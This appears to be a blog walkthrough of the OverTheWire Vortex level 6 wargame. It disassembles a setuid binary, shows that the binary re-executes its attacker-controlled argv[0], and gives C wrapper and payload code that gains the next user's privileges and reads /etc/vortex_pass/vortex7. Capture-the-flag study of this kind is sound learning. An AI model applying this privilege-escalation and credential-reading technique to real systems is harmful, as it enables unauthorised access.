Overthewire Vortex Level6

This is the first level, where no source code is present. So lets analyse the binary.

080483ab <main>:
 80483ab:	55                   	push   %ebp
 80483ac:	89 e5                	mov    %esp,%ebp
 80483ae:	83 ec 08             	sub    $0x8,%esp
 80483b1:	83 e4 f0             	and    $0xfffffff0,%esp
 80483b4:	b8 00 00 00 00       	mov    $0x0,%eax
 80483b9:	29 c4                	sub    %eax,%esp
 80483bb:	8b 45 10             	mov    0x10(%ebp),%eax
 80483be:	83 38 00             	cmpl   $0x0,(%eax)
 80483c1:	74 10                	je     80483d3 <main+0x28>
 80483c3:	83 ec 0c             	sub    $0xc,%esp
 80483c6:	8b 45 0c             	mov    0xc(%ebp),%eax
 80483c9:	ff 30                	pushl  (%eax)
 80483cb:	e8 c0 ff ff ff       	call   8048390 <restart>
 80483d0:	83 c4 10             	add    $0x10,%esp
 80483d3:	83 ec 0c             	sub    $0xc,%esp
 80483d6:	8b 45 10             	mov    0x10(%ebp),%eax
 80483d9:	83 c0 0c             	add    $0xc,%eax
 80483dc:	ff 30                	pushl  (%eax)
 80483de:	e8 dd fe ff ff       	call   80482c0 <printf@plt>
 80483e3:	83 c4 10             	add    $0x10,%esp
 80483e6:	83 ec 0c             	sub    $0xc,%esp
 80483e9:	68 25 73 00 00       	push   $0x7325
 80483ee:	e8 dd fe ff ff       	call   80482d0 <_exit@plt>
 80483f3:	90                   	nop

What we have here? If 0x10(%ebp) equals 0 then we print *(0x10(%ebp)+0xc), and exit, else we call restart with *0x0c(%ebp) as parameter. It is obvious that these values are arguments and environment variables.

I wrote a simple program, to figure out exactly what theese adresses are:
(Some explanation to the getebp function: I figured out this way to “query” the value of ebp in main, because our function prologue begins with “push ebp”, so we pop it into eax and push it back, to restore the original stack layout.)

int getebp()
{
    __asm__("pop %eax\n"
             "push %eax");
}

int main() {
    unsigned long ebp = getebp();
    printf("%s\n", **(unsigned long**)(ebp+0x10));
    printf("%s\n", **(unsigned long**)(ebp+0x0c));
    printf("%s\n", *(unsigned long*) (((unsigned long)(*(unsigned long*)(ebp+0x10)))+0xc));
}

I’ve created a wrapper to check it:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3",  NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};

    execve("./printaddr",arg,env);
}

The result is:

 
ENV0
ARG0
ENV3

We can rephrase our analysis: If ENV0 is NULL then we print ENV3, and exit, else we call restart with ARG0 as parameter.

I’ve experienced a bit with this branch of the if expression. If ENV0 is NULL, then ENV3 is not defined, and we mainly get a segfault, by dereferencing an illegal address:

 
(null)
ARG0
Segmentation fault

Lets check the other branch:

08048390 <restart>:
 8048390:	55                   	push   %ebp
 8048391:	89 e5                	mov    %esp,%ebp
 8048393:	83 ec 08             	sub    $0x8,%esp
 8048396:	83 ec 04             	sub    $0x4,%esp
 8048399:	6a 00                	push   $0x0
 804839b:	ff 75 08             	pushl  0x8(%ebp)
 804839e:	ff 75 08             	pushl  0x8(%ebp)
 80483a1:	e8 fa fe ff ff       	call   80482a0 <execlp@plt>
 80483a6:	83 c4 10             	add    $0x10,%esp
 80483a9:	c9                   	leave  
 80483aa:	c3                   	ret    

The equivalent C code:

void restart(char *s) {
    execlp(s,s,NULL);
}

We can see, that the program “restarts” itself in this branch. But wait. As you can see above, we control the value of ARG0. Thats good news.

Let’s create our payload:

#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    char buf[1024];
    printf("%d\n", seteuid(509));
    int fd = open("/etc/vortex_pass/vortex7", 0);
    int len = read(fd, buf, 1024);.
    printf("%s\n", buf);
    execlp("/usr/bin/id", "/usr/bin/id", NULL);
}

And the wrapper:

int main(int argc, char* argv[]) {
    char* arg[] = {"/tmp/payload",  NULL};
    char* env[] = {"ENV0", NULL};
    execve("./level6.bin",arg,env);
}

We only have to run it:

0
*********

uid=508(vortex6) gid=508(vortex6) euid=509(vortex7) groups=508(vortex6)
Advertisements
This entry was posted in Wargame and tagged , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s